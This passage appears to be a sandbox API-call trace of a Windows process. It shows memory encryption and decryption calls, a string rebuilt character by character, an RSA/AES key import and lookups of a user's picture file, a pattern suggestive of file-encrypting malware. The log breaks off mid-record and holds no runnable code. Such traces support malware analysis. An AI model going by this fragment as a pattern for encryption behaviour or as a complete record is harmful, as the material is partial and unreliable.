MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.271] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0136.271] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0136.272] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.272] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0136.272] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.272] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0136.272] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0136.272] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.272] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0136.272] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.272] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.272] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.272] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.272] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0136.272] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.272] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0136.272] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.272] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0136.272] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0136.272] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.273] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0136.273] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.273] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0136.273] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0136.273] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.273] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0136.273] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.273] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0136.273] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0136.273] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.273] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0136.273] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.273] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0136.273] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0136.273] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.273] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0136.273] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.274] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0136.274] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0136.274] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.274] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0136.274] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.274] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0136.274] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0136.274] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.274] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0136.274] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.274] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0136.274] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0136.274] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.274] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0136.274] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.274] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.274] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.274] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.274] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0136.274] SystemFunction041 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.275] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0136.275] SystemFunction040 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.275] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0136.275] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0136.275] SystemFunction041 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.275] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0136.275] SystemFunction040 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.275] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0136.275] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0136.275] SystemFunction041 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.275] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0136.275] SystemFunction040 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.275] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0136.275] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0136.275] SystemFunction041 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.275] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0136.275] SystemFunction040 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.276] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0136.276] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0136.276] SystemFunction041 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.276] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0136.276] SystemFunction040 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.276] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0136.276] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0136.276] SystemFunction041 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.276] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0136.276] SystemFunction040 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.276] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0136.276] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0136.276] SystemFunction041 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.276] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0136.276] SystemFunction040 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.276] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0136.276] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0136.276] SystemFunction041 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.277] SystemFunction040 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.277] SystemFunction041 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0136.277] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0136.277] SystemFunction041 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0136.279] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0136.279] SystemFunction041 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0136.279] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0136.279] SystemFunction041 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0136.279] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0136.279] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.280] SystemFunction041 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0136.280] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0136.280] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e028b0) returned 1 [0136.281] CryptImportKey (in: hProv=0x8e028b0, pbData=0x6a22048, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e850f8) returned 1 [0136.281] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.281] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.281] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.281] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.281] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.282] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\ax8vf.gif")) returned 0x20 [0136.282] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\ax8vf.gif")) returned 0x20 [0136.282] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", lpFilePart=0x0) returned 0x50 [0136.282] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", lpFilePart=0x0) returned 0x50 [0136.283] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.283] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", lpFilePart=0x0) returned 0x50 [0136.283] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", lpFilePart=0x0) returned 0x50 [0136.283] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.283] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, 